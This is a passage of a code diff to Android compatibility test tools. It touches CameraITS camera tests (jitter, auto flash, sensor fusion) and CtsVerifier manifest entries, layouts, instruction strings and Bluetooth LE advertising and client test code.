     y_min = min([numpy.amin(xs), numpy.amin(ys), numpy.amin(zs), -MEAN_THRESH])
     y_max = max([numpy.amax(xs), numpy.amax(ys), numpy.amax(xs), MEAN_THRESH])
 
+    pylab.figure()
     pylab.plot(times, xs, 'r', label='x')
     pylab.plot(times, ys, 'g', label='y')
     pylab.plot(times, zs, 'b', label='z')
diff --git a/apps/CameraITS/tests/scene0/test_jitter.py b/apps/CameraITS/tests/scene0/test_jitter.py
index b119ab2..990ca9c 100644
--- a/apps/CameraITS/tests/scene0/test_jitter.py
+++ b/apps/CameraITS/tests/scene0/test_jitter.py
@@ -77,7 +77,8 @@
       logging.debug('Jitter range: %s to %s', range0, range1)
 
       # Draw a plot.
-      pylab.plot(range(len(deltas_ms)), deltas_ms)
+      pylab.figure()
+      pylab.plot(range(len(deltas_ms)), deltas_ms, '-bo')
       pylab.title(_NAME)
       pylab.xlabel('frame number')
       pylab.ylabel('jitter (ms)')
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index d9b233a..f16145d 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -38,14 +38,21 @@
 _PATCH_Y = 0.5 - _PATCH_H/2
 _TEST_NAME = os.path.splitext(os.path.basename(__file__))[0]
 VGA_W, VGA_H = 640, 480
+_CAPTURE_INTENT_STILL_CAPTURE = 2
+_AE_MODE_ON_AUTO_FLASH = 2
 
 
 def take_captures(cam, auto_flash=False):
   req = capture_request_utils.auto_capture_request()
+  req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
   if auto_flash:
-    req['android.control.aeMode'] = 2  # 'ON_AUTO_FLASH'
+    req['android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
   fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
-  return cam.do_capture([req]*_NUM_FRAMES, fmt)
+  captures = []
+  for _ in range(_NUM_FRAMES):
+    one_capture = cam.do_capture(req, fmt)
+    captures.append(one_capture)
+  return captures
 
 
 class AutoFlashTest(its_base_test.ItsBaseTest):
@@ -132,14 +139,10 @@
         exp = int(metadata['android.sensor.exposureTime'])
         iso = int(metadata['android.sensor.sensitivity'])
         logging.debug('ISO: %d, exp: %d ns', iso, exp)
-        if i == 0:
-          logging.debug('AE_MODE (cap): %s',
-                        AE_MODES[metadata['android.control.aeMode']])
+        logging.debug('AE_MODE (cap): %s',
+                      AE_MODES[metadata['android.control.aeMode']])
         ae_state = AE_STATES[metadata['android.control.aeState']]
         logging.debug('AE_STATE (cap): %s', ae_state)
-        if ae_state != AE_STATES[4]:  # FLASH_REQUIRED
-          raise AssertionError('Scene not dark enough to trigger auto-flash. '
-                               'Check scene.')
         flash_exp_x_iso.append(exp*iso)
         y, _, _ = image_processing_utils.convert_capture_to_planes(
             caps[i], props)
@@ -153,6 +156,11 @@
         image_processing_utils.write_image(
             y, f'{test_name}_auto_flash_Y_{i}.jpg')
 
+        if i == 0:
+          if ae_state != AE_STATES[4]:  # FLASH_REQUIRED
+            raise AssertionError('Scene not dark enough to trigger auto-flash. '
+                                 'Check scene.')
+
       # log results
       logging.debug('Flash exposure X ISOs %s', str(flash_exp_x_iso))
       logging.debug('Flash frames Y grads: %s', str(flash_grads))
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index b9427c7..e6eec9f 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -90,7 +90,8 @@
   props = cam.get_camera_properties()
   props = cam.override_with_hidden_physical_camera_props(props)
   camera_properties_utils.skip_unless(
-      camera_properties_utils.sensor_fusion_capable(props))
+      camera_properties_utils.sensor_fusion_capable(props) and
+      cam.get_sensors().get('gyro'))
 
   # Start camera rotation.
   p = multiprocessing.Process(
diff --git a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
index 98b6071..9c07d47 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
@@ -23,9 +23,9 @@
 from mobly import test_runner
 import numpy as np
 
-import its_base_test
 import camera_properties_utils
 import image_processing_utils
+import its_base_test
 import its_session_utils
 import sensor_fusion_utils
 
@@ -41,8 +41,8 @@
 _START_FRAME = 30  # give 3A 1s to warm up
 _VIDEO_DELAY_TIME = 5.5  # seconds
 _VIDEO_DURATION = 5.5  # seconds
-_VIDEO_QUALITIES_TESTED = ('QCIF:2', 'CIF:3', '480P:4', '720P:5', '1080P:6',
-                           'QVGA:7', 'VGA:9')
+_VIDEO_QUALITIES_TESTED = ('CIF:3', '480P:4', '720P:5', '1080P:6', 'QVGA:7',
+                           'VGA:9')
 _VIDEO_STABILIZATION_FACTOR = 0.6  # 60% of gyro movement allowed
 _VIDEO_STABILIZATION_MODE = 1
 
@@ -213,7 +213,7 @@
 
         # Extract camera rotations
         img_h = frames[0].shape[0]
-        file_name_stem = os.path.join(log_path, _NAME)
+        file_name_stem = f'{os.path.join(log_path, _NAME)}_{video_profile}'
         cam_rots = sensor_fusion_utils.get_cam_rotations(
             frames[_START_FRAME:len(frames)], facing, img_h,
             file_name_stem, _START_FRAME)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index e7b33f7..45eb773 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1934,6 +1934,13 @@
                        android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest" android:value=
+                "android.app.admin.DevicePolicyManager#ACTION_SET_NEW_PASSWORD|
+                 android.app.admin.DevicePolicyManager#EXTRA_PASSWORD_COMPLEXITY|
+                 android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_HIGH|
+                 android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_MEDIUM|
+                 android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_LOW|
+                 android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_NONE" />
         </activity>
 
         <activity android:name=".security.SecurityModeFeatureVerifierActivity"
@@ -2878,6 +2885,11 @@
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.hardware.camera2.CameraCharacteristics#FLASH_INFO_AVAILABLE|
+                                      android.hardware.camera2.CameraManager#setTorchMode|
+                                      android.hardware.camera2.CameraManager#registerTorchCallback|
+                                      android.hardware.camera2.CameraManager.TorchCallback#onTorchModeChanged"/>
         </activity>
 
         <activity android:name=".camera.performance.CameraPerformanceActivity"
@@ -6002,8 +6014,6 @@
             <intent-filter>
                 <action android:name="android.telephony.VisualVoicemailService"/>
             </intent-filter>
-            <meta-data android:name="ApiTest"
-                android:value="android.telephony.VisualVoicemailService#onCellServiceConnected|android.telephony.VisualVoicemailService#onSimRemoved"/>
         </service>
 
         <activity
diff --git a/apps/CtsVerifier/res/layout/companion_service_test_main.xml b/apps/CtsVerifier/res/layout/companion_service_test_main.xml
index a36a209..8244f6b 100644
--- a/apps/CtsVerifier/res/layout/companion_service_test_main.xml
+++ b/apps/CtsVerifier/res/layout/companion_service_test_main.xml
@@ -14,107 +14,84 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical"
+              android:gravity="center_horizontal"
+              style="@style/RootLayoutPadding">
 
-    <LinearLayout
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
+        android:layout_height="0dp"
+        android:layout_weight="1"
         android:orientation="vertical">
 
         <LinearLayout
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:orientation="vertical">
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="vertical">
-
-                <TextView
-                    android:id="@+id/instructions"
-                    style="@style/InstructionsSmallFont"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:layout_alignParentRight="true"
-                    android:layout_alignParentTop="true"
-                    android:layout_toRightOf="@id/status"
-                    android:text="@string/companion_service_test_info" />
-
-                <LinearLayout
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:orientation="horizontal"
-                    android:layout_marginLeft="10dp">
-                    <Button
-                        android:id="@+id/go_button"
-                        android:layout_width="match_parent"
-                        android:layout_height="wrap_content"
-                        android:layout_alignParentRight="true"
-                        android:layout_marginLeft="20dip"
-                        android:layout_marginRight="20dip"
-                        android:layout_toRightOf="@id/status"
-                        android:text="@string/go_button_text" />
-                </LinearLayout>
-            </LinearLayout>
+            android:gravity="center_horizontal"
+            android:orientation="vertical" >
 
             <TextView
-                android:id="@+id/present_info"
-                style="@style/InstructionsSmallFont"
+                android:id="@+id/companion_service_test_title"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_alignParentRight="true"
-                android:layout_alignParentTop="true"
-                android:layout_toRightOf="@id/status"
-                android:layout_below="@id/gone_button"
-                android:text="@string/companion_service_test_present_text" />
+                style="@style/InstructionsFont"/>
 
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-                android:layout_marginLeft="10dp">
-                <Button
-                    android:id="@+id/present_button"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:layout_alignParentRight="true"
-                    android:layout_marginLeft="20dip"
-                    android:layout_marginRight="20dip"
-                    android:layout_toRightOf="@id/status"
-                    android:text="@string/present_button_text" />
-            </LinearLayout>
-
+            <!-- The padding here matches what InstructionsFont has so that these look
+                 nice together-->
             <TextView
-                android:id="@+id/gone_info"
-                style="@style/InstructionsSmallFont"
+                android:id="@+id/companion_service_test_description"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:layout_alignParentRight="true"
-                android:layout_alignParentTop="true"
-                android:layout_toRightOf="@id/status"
-                android:layout_below="@id/go_button"
-                android:text="@string/companion_service_test_gone_text" />
+                android:padding="10dp"
+                style="@style/InstructionsSmallFont"/>
 
-            <LinearLayout
+            <Button
+                android:id="@+id/companion_service_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_margin="24dp"/>
+
+            <!-- Used to display test state in cases where we verify a state  -->
+            <TextView
+                android:id="@+id/companion_service_test_state"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:orientation="horizontal"
-                android:layout_marginLeft="10dp">
+                android:padding="10dp"
+                style="@style/InstructionsSmallFont"/>
+
+            <!-- Pass / fail buttons for the test step -->
+            <LinearLayout
+                android:id="@+id/button_layout"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:gravity="center_horizontal"
+                android:orientation="horizontal">
+
                 <Button
-                    android:id="@+id/gone_button"
-                    android:layout_width="match_parent"
+                    android:id="@+id/test_step_passed"
+                    android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:layout_alignParentRight="true"
-                    android:layout_marginLeft="20dip"
-                    android:layout_marginRight="20dip"
-                    android:layout_toRightOf="@id/status"
-                    android:text="@string/gone_button_text" />
+                    android:text="@string/pass_button_text"/>
+
+                <Button
+                    android:id="@+id/test_step_failed"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/fail_button_text"/>
+
             </LinearLayout>
 
         </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+
+    </ScrollView>
+
+    <include
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="0"
+        layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/logcat_read_logs.xml b/apps/CtsVerifier/res/layout/logcat_read_logs.xml
index 11749c3..e7cf4ab 100644
--- a/apps/CtsVerifier/res/layout/logcat_read_logs.xml
+++ b/apps/CtsVerifier/res/layout/logcat_read_logs.xml
@@ -21,6 +21,17 @@
     android:padding="10dip"
 >
 
+  <TextView
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:textAppearance="?android:attr/textAppearanceLarge"
+          android:text="Test should be executed at least 2 minutes apart"
+          android:id="@+id/run_read_logs_title"
+          android:layout_margin="2dp"
+          android:textSize="14sp"
+          android:textStyle="bold"
+  />
+
   <Button android:id="@+id/run_read_logs_fg_allow_btn"
       android:text="@string/read_logs_fg_allow_text"
       android:layout_marginBottom="20dp"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 9314c4d..4edf451 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -866,6 +866,7 @@
     <string name="ble_mtu_mismatch_message">MTU is not correct.(Request:%1$d, Actual:%2$d)</string>
     <string name="ble_mtu_fail_message">MTU test: failed to receive data</string>
 
+    <!-- Strings for CompanionDeviceTestActivity -->
     <string name="companion_test">Companion Device Test</string>
     <string name="companion_test_info">
         This test checks that APIs to manage companion devices are working correctly,
@@ -876,30 +877,43 @@
         Once you press the button, wait for a dialog to pop up and select your device from the list.
     </string>
 
+    <!-- Strings for CompanionDeviceServiceTestActivity -->
+    <string name="companion_service_associate_button">Associate</string>
+    <string name="companion_service_associate_title">Device Association</string>
+    <string name="companion_service_associate_text">
+        Press the "Associate" button. Wait for a dialog to pop up and select your device from the
+        list.
+    </string>
+    <string name="companion_service_bluetooth_feature_title">Bluetooth Feature Supported</string>
+    <string name="companion_service_bluetooth_feature_text">
+        PackageManager.FEATURE_BLUETOOTH not supported. This test is not applicable.
+    </string>
+    <string name="companion_service_disassociate_button">Disassociate</string>
+    <string name="companion_service_disassociate_title">Device Disassociation</string>
+    <string name="companion_service_disassociate_text">
+        Press the "Disassociate" button. Wait for the device to disassociate.
+    </string>
+    <string name="companion_service_present_title">Device Present</string>
+    <string name="companion_service_present_text">
+        Make your Bluetooth device reachable (this should already be the case from the previous step).
+        Wait until your Bluetooth device is detected by CDM. This may take up to 2 minutes.
+    </string>
+    <string name="companion_service_gone_title">Device Gone</string>
+    <string name="companion_service_gone_text">
+        Make your Bluetooth device unreachable by placing your bluetooth device inside an RF Bag or
+        powering it off.
+        Wait until your Bluetooth device disappears. This may take up to 2 minutes.
+    </string>
     <string name="companion_service_test">Companion Device Service Test</string>
     <string name="companion_service_test_info">
         This test checks that APIs to notify the companion app of its associated device going in and
-        out of Bluetooth range are working correctly.
-        Before proceeding, make sure you have a Bluetooth LE device nearby and
-        discoverable. Also, make sure that bluetooth is turned on. Note that, the nearby device can
-        not be a phone since it considers advertising as classic device scan.
-        First, press the go button, wait for a dialog to pop up and select your device from the
-        list. Second, make your Bluetooth device reachable then press the Device Present button.
-        Lastly, make sure your bluetooth device is unreachable(you can power off your
-        Bluetooth device or put it into a Faraday bag) and wait up to 2 minutes then press the
-        Device Gone button.
+        out of Bluetooth range are working correctly.\n\n
+        Before proceeding, make sure that you have a Bluetooth LE device nearby and
+        discoverable. Also, make sure that bluetooth is turned on. (Note: the nearby device cannot
+        be a phone)
     </string>
-
-    <string name="companion_service_test_present_text">
-        Now, please make your Bluetooth device is reachable and wait up to 10 to 20 seconds, then
-        press the Device Present button.
-    </string>
-
-    <string name="companion_service_test_gone_text">
-        Now, please make your Bluetooth device unreachable.
-        Put your nearby bluetooth device into an RF Bag or power off your device and wait up to
-        2 minutes, then press the Device Gone button.
-    </string>
+    <string name="companion_service_test_summary_title">Test Complete</string>
+    <string name="companion_service_test_summary">Every test passed successfully.</string>
 
     <!-- Strings for FeatureSummaryActivity -->
     <string name="feature_summary">Hardware/Software Feature Summary</string>
@@ -4376,6 +4390,34 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
+    <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+    <string name="check_new_user_disclaimer_info">
+        Please do the following: \n\n
+        1. Check persistent notification for managed device \n\n
+        a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+        b). Tap the notification\n
+        c). It should show a dialog explaining the device is managed and asking the user to accept \n
+        d). Don\'t accept initially and tap outside the dialog \n
+        e). Open the notification UI again, verify that the managed device notification is still shown \n
+        \n
+        f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+        \"Foo, Inc\" is shown on the dialog \n
+        \n\n
+        2. Check adding account is restricted\n\n
+        a) Click \"Go\" to launch the \"Profiles &amp; accounts\" setting \n
+        b) navigate to \"Add account\" \n
+        \n
+        Expected: \n
+        - \"Add account\" is disabled \n
+        - Click the button will launch the new user disclaimer dialog\n
+        \n
+        c) Click accept button\n
+        \n
+        Expected: \n
+        - the screen will be dismissed \n
+        - \"Add account\" will be enabled\n
+        - Click the button will take user to the screen to add account \n
+    </string>
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
@@ -6532,6 +6574,7 @@
     <string name="ble_rx_tx_calibration_test_instructions">
         To verify this requirement, work with your chip vendor. The chip vendor can measure the
         channel flatness and identify the differences between cores and channels.
+        \nThe RSSI range must be less than or equal to 6 dBm to pass.
     </string>
     <string name="report_channels_ble_rssi_range">Report RSSI Range Across Channels (dBm)</string>
     <string name="report_cores_ble_rssi_range">[Optional] Report RSSI Range Across Cores (dBm)</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index e02b122..7411575 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -117,16 +117,15 @@
                     @Override
                     public void run() {
                         if (!mBluetoothAdapter.isEnabled()) {
-                            assertTrue(BtAdapterUtils.enableAdapter(mBluetoothAdapter,
-                                    BleAdvertisingSetTestActivity.this));
                             // If BluetoothAdapter was previously not enabled, we need to get the
                             // BluetoothLeAdvertiser instance again.
+                            mBluetoothAdapter.enable();
                             mAdvertiser = mBluetoothAdapter.getBluetoothLeAdvertiser();
                         }
 
                         try {
                             startAdvertisingSet();
-                            testEnableAndDisableAdvertising();
+                            testDisableAndEnableAdvertising();
                             testSetAdvertisingData();
                             testSetAdvertisingParameters();
                             testPeriodicAdvertising();
@@ -139,8 +138,7 @@
                         }
 
                         // Disable bluetooth adapter
-                        assertTrue(BtAdapterUtils.disableAdapter(mBluetoothAdapter,
-                                BleAdvertisingSetTestActivity.this));
+                        mBluetoothAdapter.disable();
 
                         BleAdvertisingSetTestActivity.this.runOnUiThread(new Runnable() {
                             @Override
@@ -182,19 +180,19 @@
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_START);
     }
 
-    private void testEnableAndDisableAdvertising() throws InterruptedException {
+    private void testDisableAndEnableAdvertising() throws InterruptedException {
         mCallback.reset();
 
-        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 1,
-                /* maxExtendedAdvertisingEvents= */ 1);
-        assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
-
         mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 1,
                 /* maxExtendedAdvertisingEvents= */ 1);
         assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
 
+        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 1,
+                /* maxExtendedAdvertisingEvents= */ 1);
+        assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
+
         mAllTestsPassed |= PASS_FLAG_ENABLE_DISABLE;
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_ENABLE_DISABLE);
     }
@@ -225,7 +223,7 @@
         mCallback.reset();
 
         mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 1,
-                /* maxExtendedAdvertisingEvents= */1);
+                /* maxExtendedAdvertisingEvents= */ 1);
         assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
 
@@ -253,6 +251,11 @@
                 TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingParametersUpdatedStatus.get());
 
+        // Let's make sure we disable periodic advertising
+        mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(false);
+        assertTrue(mCallback.mPeriodicAdvertisingDisabledLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
         mCallback.mAdvertisingSet.get().setPeriodicAdvertisingParameters(
                 new PeriodicAdvertisingParameters.Builder().build());
         assertTrue(mCallback.mPeriodicAdvertisingParamsUpdatedLatch.await(TIMEOUT_MS,
@@ -282,6 +285,7 @@
         assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
 
         mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 746c894..3c1c58b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -59,10 +59,12 @@
     // (termination signal will not be sent)
     // This flag switches to turn Bluetooth off instead of BluetoothGatt#disconnect().
     // If true, test will turn Bluetooth off. Otherwise, will call BluetoothGatt#disconnect().
-    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON = (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
+    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON =
+            (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
 
     // for Version 1 test
-//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_AUTO;
+//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice
+//    .TRANSPORT_AUTO;
     // for Version 2 test
     private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
 
@@ -183,17 +185,21 @@
     public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
     public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
     public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
     public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR =
@@ -282,7 +288,7 @@
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
     private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
-        UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+            UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
 
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -338,7 +344,8 @@
     public void onCreate() {
         super.onCreate();
 
-        registerReceiver(mBondStatusReceiver, new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+        registerReceiver(mBondStatusReceiver,
+                new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
 
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
         mBluetoothAdapter = mBluetoothManager.getAdapter();
@@ -403,7 +410,7 @@
                             reliableWrite();
                         }
                     });
-                break;
+                    break;
                 case BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC:
                     setNotification(INDICATE_CHARACTERISTIC_UUID, true);
                     break;
@@ -415,15 +422,20 @@
                             mNotifyCount = 16;
                             setNotification(UPDATE_CHARACTERISTIC_UUID, true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5,
+                                    true);
                             waitForDisableNotificationCompletion();
                             setNotification(UPDATE_CHARACTERISTIC_UUID_6, true);
                             waitForDisableNotificationCompletion();
@@ -435,19 +447,24 @@
                             waitForDisableNotificationCompletion();
                             setNotification(UPDATE_CHARACTERISTIC_UUID_10, true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14,
